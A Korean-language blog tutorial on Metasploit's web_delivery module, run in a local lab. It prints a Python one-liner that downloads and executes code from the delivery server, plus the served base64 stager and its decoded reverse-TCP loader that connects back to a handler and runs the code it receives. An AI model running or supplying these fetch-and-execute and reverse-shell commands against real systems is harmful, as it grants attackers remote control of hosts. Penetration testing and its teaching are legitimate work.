Metasploit web delivery 모듈을 이용한 Command line에서 meterpreter session 만들기
어떤 방법이던 metasploit을 사용하지 않고 쉘 권한을 얻었을 때 metasploit 과 연결하려면 어떻게 해야할까요? venom으로 만든 페이로드를 실행해서 연결할 수도 있고, 다른 취약점을 발생시키든 여러가지 방법이 있을겁니다.
오늘은 그러한 방법중에 하나이며, 굉장히 쉽게 세션을 열 수 있는 방법인 web delivery 모듈에 대한 이야기를 하려합니다.
Web delivery
Web delivery는 metasploit에서 간단하게 커맨드 라인으로 Metasploit과 세션연결을 만들어 줄 수 있는 모듈입니다. 만들어진지는 조금 된 모듈이지만, 생각보다 국내에서 소개한 자료는 없는 것 같네요.
동작 플로우를 살펴보면.. 이런 구조입니다.
- 모듈 실행 시 웹 서버가 하나 동작
- 해당 웹 페이지로 접근한 사용자는 Delivery 모듈로부터 Metasploit Sessions을 받음
Sessions을 받는 과정은 아래에서 한번 더 이야기드리겠지만, Socket connection을 통해 payload 데이터를 받아 바로 메모리상에서 띄웁니다. 아래는 모듈 관련 옵션입니다. Exploit target 부분은 숙지하시면 유용합니다.
Module options
- SRVHOST: Binding할 호스트입니다.
- SRVPORT: Binding할 포트입니다.
- URIPATH: 쉘을 전달해줄 때 접근해야할 URL 주소
Exploit Target
- Target 0 : python
- Target 1 : php
- Target 2 : psh
- Target 3 : Regsvr32
- Target 4 : phs(Binary)
How to use
we delivery 모듈을 로드한 후 옵션을 보면 바로 위에서 말씀드린 내용이 있습니다.
HAHWUL (Sessions: 0 Jobs: 0) use exploit/multi/script/web_delivery
HAHWUL (Sessions: 0 Jobs: 0) exploit(multi/script/web_delivery) > show options
Module options (exploit/multi/script/web_delivery):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 3001 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH / no The URI to use for this exploit (default is random)
Payload options (python/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 127.0.0.1 yes The listen address
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Python
일반적인 Exploit, Auxiliary 모듈과 유사하지만 Exploit target 부분에 Python, powershell 등 쉘 종류가 추가됩니다. 이는 타겟에서 명령어로 실행할 환경에 대한 설정이며 윈도우의 경우 powershell 쪽이 깔끔할 것이고, 나머지는 python이 보편적일 것 같습니다.
요즘은 워낙 파이썬 라이브러리가 많고 사용되는 곳이 많다보니 기본적으로 python 이 깔려있는 곳도 많습니다. 대표적으로 호스팅서버도 비슷하구요. 각각 옵션들 세팅을 해주시고 실행해보면 아래와 같습니다.
HAHWUL (Sessions: 0 Jobs: 0) exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
HAHWUL (Sessions: 0 Jobs: 1) exploit(multi/script/web_delivery) > [*] Using URL: http://0.0.0.0:3001/
[*] Local IP: http://172.17.0.2:3001/
[*] Server started.
[*] Run the following command on the target machine:
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"
[*] 172.17.0.1 web_delivery - Delivering Payload
각 Target에 맞는 Command line 명령을 제공해줍니다. 저는 python 코드입니다.
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"
타겟 시스템에서 직접 명령어로 코드를 실행해보면 정상적으로 Meterpreter session이 생성됩니다.
root@a22b7976eb74:/# python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"
HAHWUL (Sessions: 0 Jobs: 1) exploit(multi/script/web_delivery) >
[*] 172.17.0.1 web_delivery - Delivering Payload
[*] 127.0.0.1 web_delivery - Delivering Payload
[*] Sending stage (50192 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:39560) at 2018-04-14 22:15:52 +0900
HAHWUL (Sessions: 1 Jobs: 1) exploit(multi/script/web_delivery) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 meterpreter python/python 127.0.0.1:4444 -> 127.0.0.1:39560 (127.0.0.1)
Payload
아래 코드를 타고 쭉 넘어가면 무엇이 있을까 궁금해졌습니다
python -c "import sys;u=__import__('urllib'+{2:'',3:'.request'}[sys.version_info[0]],fromlist=('urlopen',));r=u.urlopen('http://127.0.0.1:3001/');exec(r.read());"
urllib 로드해서 web delivery 모듈이 있는 페이지고 접근해서 데이터를 읽어와 실행하는데요, 직접 접근해서 보면 이런 코드가 넘어옵니다.
HTTP/1.1 200 OK
Content-Type: application/octet-stream
Connection: close
Server: Apache
Content-Length: 446
import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'UTF-8')}[sys.version_info[0]]('aW1wb3J0IHNvY2tldCxzdHJ1Y3QsdGltZQpmb3IgeCBpbiByYW5nZSgxMCk6Cgl0cnk6CgkJcz1zb2NrZXQuc29ja2V0KDIsc29ja2V0LlNPQ0tfU1RSRUFNKQoJCXMuY29ubmVjdCgoJzEyNy4wLjAuMScsNDQ0NCkpCgkJYnJlYWsKCWV4Y2VwdDoKCQl0aW1lLnNsZWVwKDUpCmw9c3RydWN0LnVucGFjaygnPkknLHMucmVjdig0KSlbMF0KZD1zLnJlY3YobCkKd2hpbGUgbGVuKGQpPGw6CglkKz1zLnJlY3YobC1sZW4oZCkpCmV4ZWMoZCx7J3MnOnN9KQo=')))
base64를 풀어보면
import socket,struct,time
for x in range(10):
try:
s=socket.socket(2,socket.SOCK_STREAM)
s.connect(('127.0.0.1',4444))
break
except:
time.sleep(5)
l=struct.unpack('>I',s.recv(4))[0]
d=s.recv(l)
while len(d)<l:
d+=s.recv(l-len(d))
exec(d,{'s':s}
이런식으로 payload handler(4444 포트)로 다시 접근해서 데이터를 받아 명령행으로 넘깁니다.